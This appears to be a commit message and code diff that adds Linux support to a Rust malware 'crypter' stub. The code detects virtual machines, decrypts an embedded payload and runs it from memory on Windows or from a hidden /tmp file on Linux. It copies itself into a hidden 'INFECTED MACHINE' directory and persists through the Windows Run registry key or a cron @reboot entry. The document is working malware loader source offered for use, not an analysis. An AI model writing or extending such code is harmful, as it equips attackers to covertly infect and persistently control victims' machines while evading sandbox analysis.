Add cross-platform support for Linux and Windows

- Implement conditional compilation for platform-specific dependencies
- Add Linux persistence via cron jobs as alternative to Windows registry
- Create cross-platform fileless execution (memexec for Windows, temp file + exec for Linux)
- Support platform-specific paths and file hiding mechanisms
- Maintain full Windows compatibility while adding Linux support

stub/Cargo.toml

@@ -8,5 +8,10 @@ edition = "2021"
 [dependencies]
 inside-vm = "0.2.0"
 aes = "0.8.2"
+
+[target.'cfg(windows)'.dependencies]
 memexec = "0.2"
 winreg = "0.9"
+
+[target.'cfg(unix)'.dependencies]
+libc = "0.2"

stub/src/main.rs

@@ -6,9 +6,15 @@ use std::io::{self, Cursor, Read};
 use std::path::Path;
 use std::process::Command;
 use std::{env, fs};
+
+#[cfg(windows)]
 use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS};
+#[cfg(windows)]
 use winreg::RegKey;
 
+#[cfg(unix)]
+use std::os::unix::fs::PermissionsExt;
+
 fn main() {
     if inside_vm() {
         println!("This is in a vm");
@@ -21,7 +27,9 @@ fn main() {
         persistence();
 
         let pe_bytes = decrypt_file().unwrap();
-        fileless(pe_bytes);
+        if let Err(e) = fileless(pe_bytes) {
+            eprintln!("Failed to execute payload: {}", e);
+        }
     }
 }
 
@@ -53,7 +61,7 @@ fn decrypt_file() -> Result<Vec<u8>> {
 }
 
 fn create_infected_directory() -> io::Result<()> {
-    let infected_dir = Path::new("C:/Rust Crypter - INFECTED MACHINE");
+    let infected_dir = get_infected_dir_path();
     fs::create_dir_all(&infected_dir)?;
 
     let current_exe = env::current_exe()?;
@@ -62,7 +70,8 @@ fn create_infected_directory() -> io::Result<()> {
     let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
     fs::copy(&current_exe, &infected_exe_path)?;
 
-    if cfg!(target_os = "windows") {
+    #[cfg(windows)]
+    {
         Command::new("attrib")
             .arg("+h")
             .arg(infected_dir.as_os_str())
@@ -73,32 +82,114 @@ fn create_infected_directory() -> io::Result<()> {
             .output()?;
     }
 
+    #[cfg(unix)]
+    {
+        // Hide files on Unix by removing read permissions for others
+        let mut perms = fs::metadata(&infected_dir)?.permissions();
+        perms.set_mode(0o700);
+        fs::set_permissions(&infected_dir, perms)?;
+        
+        let mut perms = fs::metadata(&infected_exe_path)?.permissions();
+        perms.set_mode(0o700);
+        fs::set_permissions(&infected_exe_path, perms)?;
+    }
+
     Ok(())
 }
 
+fn get_infected_dir_path() -> &'static Path {
+    #[cfg(windows)]
+    {
+        Path::new("C:/Rust Crypter - INFECTED MACHINE")
+    }
+    #[cfg(unix)]
+    {
+        Path::new("/tmp/.rust-crypter-infected")
+    }
+}
+
 fn persistence() -> io::Result<()> {
-    if let Ok(current_exe) = env::current_exe() {
-        if let Some(file_name) = current_exe.file_stem() {
-            let executable_name = file_name.to_string_lossy();
-            let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
-            let file_path = format!("{}{}.exe", directory_path, executable_name);
+    #[cfg(windows)]
+    {
+        if let Ok(current_exe) = env::current_exe() {
+            if let Some(file_name) = current_exe.file_stem() {
+                let executable_name = file_name.to_string_lossy();
+                let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
+                let file_path = format!("{}{}.exe", directory_path, executable_name);
 
-            // Open the "Run" registry key
-            let hkcu = RegKey::predef(HKEY_CURRENT_USER);
-            let run_key = hkcu.open_subkey_with_flags(
-                "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
-                KEY_ALL_ACCESS,
-            )?;
+                // Open the "Run" registry key
+                let hkcu = RegKey::predef(HKEY_CURRENT_USER);
+                let run_key = hkcu.open_subkey_with_flags(
+                    "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
+                    KEY_ALL_ACCESS,
+                )?;
 
-            // Add the executable path to the "Run" registry key
-            run_key.set_value("RustCrypter", &file_path).err();
+                // Add the executable path to the "Run" registry key
+                run_key.set_value("RustCrypter", &file_path).err();
+            }
         }
     }
+
+    #[cfg(unix)]
+    {
+        // Linux persistence using cron job
+        if let Ok(current_exe) = env::current_exe() {
+            let cron_entry = format!("@reboot {} >/dev/null 2>&1", current_exe.display());
+            
+            // Add to user's crontab
+            let output = Command::new("crontab")
+                .arg("-l")
+                .output();
+                
+            let mut cron_content = String::new();
+            if let Ok(output_result) = output {
+                if output_result.status.success() {
+                    cron_content = String::from_utf8_lossy(&output_result.stdout).to_string();
+                }
+            }
+            
+            if !cron_content.contains("rust-crypter") {
+                cron_content.push_str(&cron_entry);
+                cron_content.push('\n');
+                
+                Command::new("sh")
+                    .arg("-c")
+                    .arg(&format!("echo '{}' | crontab -", cron_content))
+                    .output()?;
+            }
+        }
+    }
+
     Ok(())
 }
 
-fn fileless(bytes: Vec<u8>) {
-    unsafe {
-        memexec::memexec_exe(&bytes).unwrap();
+fn fileless(bytes: Vec<u8>) -> std::result::Result<(), Box<dyn std::error::Error>> {
+    #[cfg(windows)]
+    {
+        unsafe {
+            memexec::memexec_exe(&bytes).unwrap();
+        }
     }
+
+    #[cfg(unix)]
+    {
+        // For Linux, write to temp file and execute
+        use std::ffi::CString;
+        
+        let temp_path = "/tmp/.rust_payload";
+        fs::write(temp_path, &bytes)?;
+        
+        // Make executable
+        let mut perms = fs::metadata(temp_path)?.permissions();
+        perms.set_mode(0o755);
+        fs::set_permissions(temp_path, perms)?;
+        
+        // Execute
+        let path_cstr = CString::new(temp_path)?;
+        unsafe {
+            libc::execl(path_cstr.as_ptr(), path_cstr.as_ptr(), std::ptr::null::<libc::c_char>());
+        }
+    }
+
+    Ok(())
 }